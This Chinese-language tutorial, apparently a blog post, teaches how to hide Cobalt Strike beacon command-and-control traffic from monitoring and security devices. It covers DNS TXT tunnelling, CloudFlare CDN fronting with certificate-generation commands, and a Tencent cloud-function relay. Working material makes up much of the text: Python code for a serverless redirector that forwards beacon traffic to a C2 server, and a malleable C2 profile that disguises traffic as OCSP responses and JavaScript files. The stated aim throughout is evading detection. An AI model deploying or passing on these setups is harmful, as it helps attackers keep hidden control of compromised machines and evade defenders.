CobaltStrike上线隐藏
字数 1354 2025-08-05 08:19:06
CobaltStrike上线隐藏技术详解
1. 前言
本文详细讲解CobaltStrike(CS)木马上线的几种隐藏方法,包括DNS上线、CDN上线和云函数上线技术。这些技术可以有效规避网络监控和安全设备的检测。
2. DNS上线技术
2.1 技术原理
DNS上线利用DNS协议建立C2通信,适用于只能DNS出网的环境。WAF通常不会分析DNS流量,具有较好的隐蔽性。
DNS_TXT隧道传输特点:
- 控制命令通过DNS的TXT记录加密传输
- 隐蔽性强不易被发现
- 传输速度较慢
2.2 前期准备
- 不需要备案的域名(推荐freenom.com或quyu.net)
- 国外VPS服务器
2.3 配置步骤
域名DNS记录配置
- 创建A记录指向VPS的IP
- 创建NS记录,解析地址为A记录的域名
- 使用ping命令验证解析是否成功
CS Listeners配置
- 设置DNS Beacon监听器
- 上线后使用
checkin命令强制回连teamserver - 输入
mode dns-txt命令增加数据传输量
3. CDN上线技术
3.1 技术原理
利用CDN服务器作为中间节点,通过Host头精确判断通信域名,隐藏真实C2服务器IP。
3.2 前期准备
- CDN服务(CloudFlare、腾讯云、阿里云等)
- 免备案域名
- 国外VPS服务器
3.3 CloudFlare CDN配置
基本配置
- 将域名接入CloudFlare管理
- 添加A记录并开启CDN加速
- 验证解析
CS Listeners配置要点
- HTTP端口:80,8080,8880,2052,2082,2086,2095
- HTTPS端口:443,2053,2083,2087,2096,8443
3.4 HTTPS加密配置
SSL/TLS设置
- 在CloudFlare控制台切换到SSL/TLS栏
- 证书类型选择"完全"
- 创建源服务器证书
证书生成命令
openssl pkcs12 -export -in 1.pem -inkey 1.key -out a.p12 -name xxx.xxxx.com -passout pass:123456
keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore https.store -srckeystore a.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias xxx.xxxx.com
CS配置文件修改
https-certificate {
set keystore "https.store";
set password "123456";
}
4. 云函数上线技术
4.1 技术原理
利用Serverless架构的云函数作为流量转发节点,结合CDN实现C2服务器隐藏。
4.2 腾讯云函数配置
函数创建
- 创建新云函数服务
- 选择自定义Python3.6环境
- 使用以下代码:
# -*- coding: utf8 -*-
import json, requests, base64
def main_handler(event, context):
C2 = 'http://<C2服务器地址>'
path = event['path']
headers = event['headers']
if event['httpMethod'] == 'GET':
resp = requests.get(C2 + path, headers=headers, verify=False)
else:
resp = requests.post(C2 + path, data=event['body'], headers=headers, verify=False)
response = {
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
return response
触发器配置
- 选择API网关触发
- 触发版本选择LATEST
- 触发方式选择API网关触发
4.3 API网关配置
- 将路径改为根路径(/)
- 发布服务
- 获取公网访问地址(80/443端口)
4.4 CS Profile配置示例
set sample_name "t";
set sleeptime "3000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
http-get {
set uri "/api/x";
client {
header "Accept" "*/*";
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Server" "Nodejs";
output {
base64;
print;
}
}
}
http-stager {
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}
http-post {
set uri "/api/y";
client {
header "Accept" "*/*";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Connection" "keep-alive";
output {
base64;
print;
}
}
}
4.5 Listeners设置
- Host、Hosts和Stager Host都设置为云函数URL
5. 总结
| 技术 | 优点 | 缺点 | 适用场景 |
|---|---|---|---|
| DNS上线 | 隐蔽性强,能绕过严格出网限制 | 传输速度慢 | 只能DNS出网的环境 |
| CDN上线 | 隐藏真实IP,流量分散 | 需要特定端口,配置较复杂 | 需要快速稳定通信的场景 |
| 云函数上线 | 高度隐蔽,结合CDN优势 | 依赖云服务商政策 | 需要高级隐蔽的场景 |
注意事项:
- 各云服务商政策可能变化,需实时关注
- 国内云服务需注意合规要求
- 建议结合多种技术提高隐蔽性
- 流量加密是必备措施